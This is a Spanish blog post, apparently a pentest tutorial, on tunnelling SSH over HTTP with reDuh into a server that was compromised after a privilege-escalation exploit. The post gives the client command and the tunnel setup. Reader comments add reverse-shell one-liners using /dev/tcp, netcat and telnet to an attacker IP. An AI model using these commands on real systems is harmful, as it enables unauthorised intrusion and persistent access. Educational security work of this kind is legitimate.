Hace un par de semanas hablábamos de la posibilidad de modificar un exploit de elevación de privilegios para ejecutarlo de forma no interactiva, y de esta forma poder tomar el control de una máquina.
En el anterior post, nos quedábamos en que habíamos conseguido crear un usuario con privilegios de root (uid=0) en la máquina, pero no teníamos acceso a nivel de red al puerto de SSH, por lo que no podíamos terminar de establecer una sesión interactiva.
Para ello, y dado que solo tenemos acceso a la máquina objetivo a través del servicio que acabamos de explotar, intentaremos usar este mismo servicio para crear un túnel de tráfico TCP sobre este protocolo, en este caso TCP sobre HTTP. La herramienta a utilizar va a ver reDuh, de Sensepost, que dispone de dos piezas: un servidor en versiones php, aspx y jsp que se pueden subir al servidor comprometido, y un cliente java que se lanzará desde nuestro equipo para establecer el túnel.
Una vez subido el servidor reDuh correspondiente (en este caso era php), podemos comprobar si ha sido subido correctamente simplemente con acceder a su URL. Esta pieza no está preparada para ser llamada de esta forma, así que nos da un mensaje de error, pero por lo menos nos confirma que la URL es la correcta:
Una vez subido el php (ya veremos en otra ocasión diferentes formas de hacerlo), ya solo tenemos que llamar al cliente de reDuh señalándole esta URL, de la siguiente forma:
# java -jar reDuhClient.jar http://172.16.146.134/reDuh.php
Tras establecerse esta conexión, reDuh levanta una consola de administración en nuestra máquina local, en el puerto 1010, a la que podemos acceder vía telnet para configurar los túneles que queremos utilizar. Para este caso, que simplemente queremos acceder al SSH local, nos bastará con algo así:
>> [createTunnel]2222:127.0.0.1:22
En este momento ya tenemos un túnel entre nuestro puerto 2222 y el puerto 22 de la máquina comprometida, así que solo tenemos que conectar nuestro cliente de SSH favorito a nuestro puerto local 2222 y todo ese tráfico va a ser encapsulado a través de protocolo HTTP hasta el servicio web que acabamos de explotar, y de ahí, ya otra vez como tráfico TCP "puro", hasta el puerto 22 local de esa máquina. Podemos verlo en un gráfico que me he permitido tomar prestado de la web de Sensepost:
Muy bonito, pero... ¿funciona?
Vamos a ver si podemos conectar mediante este puerto 2222 local al SSH de la máquina comprometida y entrar con las credenciales de usuario que nos creamos en el post anterior:
¡Perfecto! Parece que estamos dentro :)
Ahora ya podemos "jugar" todo lo que queramos con la máquina, con una sesión totalmente interactiva, por supuesto.
Gracias a Sensepost por esta fantástica herramienta.
.png "English"){kind=small}
Entradas
9 comentarios :
Muy bueno José, claro y conciso.
Esto me recuerda a cuando tiempos atrás, usaba túneles SSH "prestados sin consentimiento" (use discernimiento el lector) para encriptar accesos por TS por ejemplo :P - ahí dejo otro posible uso -
Claro está, con esta herramienta todo es más sencillo y rápido, cosa que valoro pues no estamos sobrados de tiempo, además de que puede ser útil para saltarse algunas restricciones en algunos FW.
Me va a venir de lujo.
Enhorabuena y muchas gracias por el material que aportas!
Hola Jose,
Excelente post!! como nos tienes acostumbrado :)
Si a alguien le interesa, en mi blog también mostré como usar reDuh para encapsular RDP:
http://www.kungfoosion.com/2009/12/http-tunneling-con-reduh.html
Saludos!
Leonardo
@Edgar: Has visto la opción -D de SSH? ;) Eso y proxychains... muy muy útil :P
@Leonardo: Gracias! La verdad es que se parecen mucho los posts :P Juro que no lo copie! xD
@Jose Selvi: y tanto :P SSH permite hacer auténticas virguerías, me encanta, es "sencillo" y práctico, siempre llevo encima un cliente y servidor SSH para hacer tunnelings cuando no tengo tiempo de andar montando VPNs.
Además en tu blog siempre aprendo algo nuevo :D y este tema de SSH me ha gustado mucho (soy un poco friki...)
Un saludo!!!
Tengo una dudilla, una vez se conecta por medio de ssh, en el servidor vulnerado qué dirección ip y puerto saldría como conectado al servicio ssh, sería 127.0.0.1:80?
Saludos, gran artículo
@Anónimo: Exacto, verás una conexión que viene de una IP pública (o del balanceador si existe) y un puerto alto hasta el puerto 80 de la máquina, y otra desde 127.0.0.1:80 hasta 127.0.0.1:22.
Hola,
Me gustaría hacer una aportación:
Al poder ejecutar comandos en el servidor con el exploit del kernel via http, no podríamos crear una shell reversa para que conecte con nosotros ? y asi no tener que usar Reduh ?
Ejemplo:
Maquina del atacante:
nc -l puerto
Maquina objetivo:
/bin/bash -i > /dev/tcp/ip_atacante/puerto 0<&1 2>&1
Otro ejemplo con telnet:
Maquina del atacante:
nc -l puerto1(en este terminal se meten los comandos)
nc -l puerto2(en este se muestra la salida)
Maquina objetivo:
telnet 10.10.10.10 puerto1 | /bin/bash | telnet 10.10.10.10 puerto2
@iape: En un caso más general quizá seria posible, pero en este caso que nos encontramos, detrás de un balanceador o proxy HTTP, no sería posible, ya que no se permiten conexiones hacia Internet.
Solo podemos colocar algo en la máquina comprometida que conteste a nuestras conexiones, y además tendremos que hacerlo mediante protocolo HTTP, sino no funcionará, así que en este caso no sería posible usar netcat ni /dev/tcp (que por cierto en algunas shell unix viene deshabilitado, así que no se puede usar)
Gracias por el comentario!
Habia olvidado totalmente que las maquinas no tenian acceso a internet.. totalmente cierto, mi gozo en un pozo :)
Bueno habia que intentarlo, gracias por la aclaración Jose, eres una máquina.
Publicar un comentario